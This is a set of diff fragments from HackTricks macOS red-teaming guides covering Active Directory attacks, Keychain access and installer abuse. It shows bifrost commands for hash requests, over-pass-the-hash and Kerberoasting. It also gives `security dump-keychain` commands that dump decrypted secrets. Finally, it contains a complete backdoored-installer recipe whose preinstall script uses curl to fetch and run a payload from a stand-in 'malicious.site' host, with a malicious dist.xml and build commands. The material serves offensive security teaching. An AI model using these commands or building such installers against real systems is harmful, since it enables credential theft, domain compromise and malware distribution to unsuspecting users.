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# macOS Red Teaming
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -194,9 +194,50 @@ dsconfigad -show
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ password
Get passwords using:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
It's possible to access the **`Computer$`** password inside the System keychain.
### Over-Pass-The-Hash
Get a TGT for an specific user and service:
```bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Once the TGT is gathered, it's possible to inject it in the current session with:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
```
With obtained service tickets it's possible to try to access shares in other computers:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## Accessing the Keychain
The Keychain highly probably contains sensitive information that if accessed withuot generating a prompt could help to move forward a red team exercise:
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -223,8 +264,8 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

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# macOS Keychain
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -83,6 +83,9 @@ When an **application creates an entry in the keychain**, the rules are slightly
### `security`
```bash
# List keychains
security list-keychains
# Dump all metadata and decrypted secrets (a lot of pop-ups)
security dump-keychain -a -d
@ -91,6 +94,9 @@ security find-generic-password -a "Slack" -g
# Change the specified entrys PartitionID entry
security set-generic-password-parition-list -s "test service" -a "test acount" -S
# Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db
```
### APIs
@ -162,8 +168,8 @@ You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

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# macOS Installers Abuse
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -97,7 +97,7 @@ An example of this is **CVE-2021-26089** which managed to **overwrite a periodic
### Empty Payload
It's possible to just generate a **`.pkg`** file with **pre and post-install scripts** without any payload.
It's possible to just generate a **`.pkg`** file with **pre and post-install scripts** without any real payload apart from the malware inside the scripts.
### JS in Distribution xml
@ -105,15 +105,81 @@ It's possible to add **`<script>`** tags in the **distribution xml** file of the
<figure><img src="../../../.gitbook/assets/image (1043).png" alt=""><figcaption></figcaption></figure>
### Backdoored Installer
Malicious installer using a script and JS code inside dist.xml
```bash
# Package structure
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts
# Create preinstall scripts
cat > pkgroot/scripts/preinstall <<EOF
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
EOF
# Build package
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg
# Generate the malicious dist.xml
cat > ./dist.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
EOF
# Buil final
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg
```
## References
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
* [**DEF CON 27 - Unpacking Pkgs A Look Inside MacOS Installer Packages**](https://www.youtube.com/watch?v=kCXhIYtODBg)
* [https://redteamrecipe.com/macos-red-teaming?utm\_source=pocket\_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm\_source=pocket\_shared#heading-exploiting-installer-packages)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>